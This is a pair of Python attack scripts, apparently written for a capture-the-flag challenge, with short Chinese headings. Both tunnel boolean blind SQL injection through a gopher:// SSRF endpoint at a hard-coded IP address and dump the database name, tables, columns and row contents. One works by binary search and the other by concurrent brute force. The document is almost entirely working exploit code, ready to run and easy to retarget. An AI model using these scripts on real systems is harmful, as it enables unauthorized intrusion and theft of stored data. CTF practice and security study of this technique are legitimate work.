单线程二分法脚本

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# payload转ssrf gopher协议
def ssrf(payload):
    import urllib.parse
    host = "127.0.0.1:80"
    content = f"id={payload}"
    content_length = len(content)
    text =\
"""POST /sqli.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
""".format(content_length,content)
    tmp = urllib.parse.quote(text)
    tmp = tmp.replace("%0A","%0D%0A")
    # result = "gopher://" + host + "/_" + urllib.parse.quote(tmp)
    result = "gopher://" + host + "/_" + tmp
    return result

# 空格转注释
def space2comment(payload):
    return payload.replace(" ", "/**/")

import requests as s

url = "http://101.43.57.52:43083/curl.php"
flag = "meow"
tx = '1'

print("testing database_length...")
for l in range(1, 100):
    payload = {'url': ssrf(space2comment(tx + " and length(database())=" + str(l)))}
    r = s.post(url, payload)
    if flag in r.text:
        database_length = l
        break
print("database_length: " + str(database_length))

# 数据库名
database_name = ''
print("testing database_name...")
for i in range(1, database_length + 1):
    mid_left = 32
    mid_right = 255
    mid = (mid_left + mid_right) // 2
    while (mid_left < mid_right):
        payload = {'url': ssrf(space2comment(tx + " and ascii(substr(database()," + str(i) + ",1))>" + str(mid)))}
        r = s.post(url, payload)
        if flag in r.text:
            mid_left = mid + 1
        else:
            mid_right = mid
        mid = (mid_left + mid_right) // 2
    database_name += chr(mid)
print("database_name: ", database_name)

# 表数目
print("testing table_number...")
for l in range(1, 100):
    payload = {'url': ssrf(space2comment(tx + " and (select count(table_name) from information_schema.tables where table_schema=database())=" + str(l)))}
    if flag in s.post(url, payload).text:
        tableNumber = l
        break
print("table_number: ", tableNumber)

# 表名
print("testing table_name...")
for l in range(0, tableNumber):
    table_name = ''
    for i in range(1, 100):
        payload = {'url': ssrf(space2comment(tx + " and length(substr((select table_name from information_schema.tables where table_schema=database() limit " + str(l) + ",1),1))=" + str(i)))}
        if flag in s.post(url, payload).text:
            tableLen = i
            break
    print("table" + str(l + 1) + "_length: ", tableLen)

    for i in range(1, tableLen + 1):
        mid_left = 32
        mid_right = 255
        mid = (mid_left + mid_right) // 2
        while (mid_left < mid_right):
            payload = {'url': ssrf(space2comment(tx + " and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str(l) + ",1)," + str(i) + ",1))>" + str(mid)))}
            r = s.post(url, payload)
            if flag in r.text:
                mid_left = mid + 1
            else:
                mid_right = mid
            mid = (mid_left + mid_right) // 2
        table_name += chr(mid)
    print("table" + str(l + 1) + "_name: " + table_name)

table_flag = input('输入表名: ')

# 爆列名长度
print("testing column_number...")
for l in range(1, 50):
    payload = {'url': ssrf(space2comment(tx + " and (select count(column_name) from information_schema.columns where table_name='" + table_flag + "')=" + str(l)))}
    if flag in s.post(url, payload).text:
        columnNumber = l
        break
print("column_number: ", columnNumber)

# 爆列名
print("testing column_name...")
for l in range(0, columnNumber):  # 第几个表
    columnName = ''
    for i in range(1, 50):
        payload = {'url': ssrf(space2comment(tx + " and length(substr((select column_name from information_schema.columns where table_name='" + table_flag + "' limit " + str(l) + ",1),1))=" + str(i)))}
        if flag in s.post(url, payload).text:
            columnLen = i
            break
    print("column" + str(l + 1) + "_length: ", columnLen)

    for m in range(1, columnLen + 1):
        mid_left = 32
        mid_right = 255
        mid = (mid_left + mid_right) // 2
        while (mid_left < mid_right):
            payload = {'url': ssrf(space2comment(tx + " and ascii(substr((select column_name from information_schema.columns where table_name='" + table_flag + "' limit " + str(l) + ",1)," + str(m) + ",1))>" + str(mid)))}
            if flag in s.post(url, payload).text:
                mid_left = mid + 1
            else:
                mid_right = mid
            mid = (mid_left + mid_right) // 2
        columnName += chr(mid)
    print("column" + str(l + 1) + "_name: " + columnName)
data_flag = input('输入列名: ')
for l in range(1, 499):
    payload = {'url': ssrf(space2comment(tx + " and (select count(" + data_flag + ") from " + table_flag + ")=" + str(l)))}
    if flag in s.post(url, payload).text:
        dataNumber = l
        break
print("data_number: ", dataNumber)

# 数据内容
print("testing the data...")
for l in range(0, dataNumber):
    data = ''
    for i in range(1, 50):
        payload = {'url': ssrf(space2comment(tx + " and length(substr((select " + data_flag + " from " + table_flag + " limit " + str(l) + ",1),1))=" + str(i)))}
        if flag in s.post(url, payload).text:
            dataLen = i
            break
    print("data" + str(l + 1) + "_length: ", dataLen)

    for m in range(1, dataLen + 1):
        mid_left = 32
        mid_right = 255
        mid = (mid_left + mid_right) // 2
        while (mid_left < mid_right):
            payload = {'url': ssrf(space2comment(tx + " and ascii(substr((select " + data_flag + " from " + table_flag + " limit " + str(l) + ",1)," + str(m) + ",1))>" + str(mid)))}
            if flag in s.post(url, payload).text:
                mid_left = mid + 1
            else:
                mid_right = mid
            mid = (mid_left + mid_right) // 2
        data = data + chr(mid)
    print(l + 1, data)

可大幅缩短时间的多线程脚本

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# payload转ssrf gopher协议
def ssrf(payload):
    import urllib.parse
    host = "127.0.0.1:80"
    content = f"id={payload}"
    content_length = len(content)
    text =\
"""POST /sqli.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
""".format(content_length,content)
    tmp = urllib.parse.quote(text)
    tmp = tmp.replace("%0A","%0D%0A")
    # result = "gopher://" + host + "/_" + urllib.parse.quote(tmp)
    result = "gopher://" + host + "/_" + tmp
    return result

# 空格转注释
def space2comment(payload):
    return payload.replace(" ", "/**/")

import grequests as gs

url = "http://101.43.57.52:43083/curl.php"
flag = "meow"
tx = '1'

print("testing database_length...")
req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and length(database())=" + str(l)))}) for l in range(1, 50)]
res = gs.map(req_list)
for r in res:
    if flag in r.text:
        database_length = res.index(r) + 1
        break
print("database_length: " + str(database_length))

# 数据库名
database_name = ''
print("testing database_name...")
# 测试一个字符的所有情况
for i in range(1, database_length + 1):
    req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and ascii(substr(database()," + str(i) + ",1))=" + str(char)))}) for char in range(32, 127)]
    res = gs.map(req_list)
    for r in res:
        if flag in r.text:
            char = res.index(r) + 32
            break
    database_name += chr(char)
# # 测试所有字符的所有情况
# req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and ascii(substr(database()," + str(i) + ",1))=" + str(char)))}) for i in range(1, database_length + 1) for char in range(32, 127)]
# print(req_list)
# res = gs.map(req_list)
# for i in range(database_length):
#     for r in res:
#         if flag in r.text:
#             char = res.index(r) + 32
#             database_name += chr(char)
#             break
#     res = res[127 - 32:]
print("database_name: ", database_name)

# 表数
print("testing table_number...")
req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and (select count(table_name) from information_schema.tables where table_schema=database())=" + str(l)))}) for l in range(1, 50)]
res = gs.map(req_list)
for r in res:
    if flag in r.text:
        tableNumber = res.index(r) + 1
        break
print("table_number: ", tableNumber)

# 表名
print("testing table_name...")
for l in range(0, tableNumber):
    table_name = ''
    req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and length(substr((select table_name from information_schema.tables where table_schema=database() limit " + str(l) + ",1),1))=" + str(i)))}) for i in range(1, 50)]
    res = gs.map(req_list)
    for r in res:
        if flag in r.text:
            tableLen = res.index(r) + 1
            break
    print("table" + str(l + 1) + "_length: ", tableLen)

    for i in range(1, tableLen + 1):
        req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str(l) + ",1)," + str(i) + ",1))=" + str(char)))}) for char in range(32, 127)]
        res = gs.map(req_list)
        for r in res:
            if flag in r.text:
                char = res.index(r) + 32
                break
        table_name += chr(char)
    print("table" + str(l + 1) + "_name: " + table_name)

table_flag = input('输入表名: ')

# 爆列名长度
print("testing column_number...")
req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and (select count(column_name) from information_schema.columns where table_name='" + table_flag + "')=" + str(l)))}) for l in range(1, 50)]
res = gs.map(req_list)
for r in res:
    if flag in r.text:
        columnNumber = res.index(r) + 1
        break
print("column_number: ", columnNumber)

# 爆列名
print("testing column_name...")
for l in range(0, columnNumber):  # 第几个表
    columnName = ''
    req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and length(substr((select column_name from information_schema.columns where table_name='" + table_flag + "' limit " + str(l) + ",1),1))=" + str(i)))}) for i in range(1, 50)]
    res = gs.map(req_list)
    for r in res:
        if flag in r.text:
            columnLen = res.index(r) + 1
            break
    print("column" + str(l + 1) + "_length: ", columnLen)

    for m in range(1, columnLen + 1):
        req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and ascii(substr((select column_name from information_schema.columns where table_name='" + table_flag + "' limit " + str(l) + ",1)," + str(m) + ",1))=" + str(char)))}) for char in range(32, 127)]
        res = gs.map(req_list)
        for r in res:
            if flag in r.text:
                char = res.index(r) + 32
                break
        columnName += chr(char)
    print("column" + str(l + 1) + "_name: " + columnName)
data_flag = input('输入列名: ')
req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and (select count(" + data_flag + ") from " + table_flag + ")=" + str(l)))}) for l in range(1, 50)]
res = gs.map(req_list)
for r in res:
    if flag in r.text:
        dataNumber = res.index(r) + 1
        break
print("data_number: ", dataNumber)

# 数据内容
print("testing the data...")
for l in range(0, dataNumber):
    data = ''
    req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and length(substr((select " + data_flag + " from " + table_flag + " limit " + str(l) + ",1),1))=" + str(i)))}) for i in range(1, 50)]
    res = gs.map(req_list)
    for r in res:
        if flag in r.text:
            dataLen = res.index(r) + 1
            break
    print("data" + str(l + 1) + "_length: ", dataLen)

    for m in range(1, dataLen + 1):
        req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and ascii(substr((select " + data_flag + " from " + table_flag + " limit " + str(l) + ",1)," + str(m) + ",1))=" + str(char)))}) for char in range(32, 127)]
        res = gs.map(req_list)
        for r in res:
            if flag in r.text:
                char = res.index(r) + 32
                break
        data = data + chr(char)
    print(l + 1, data)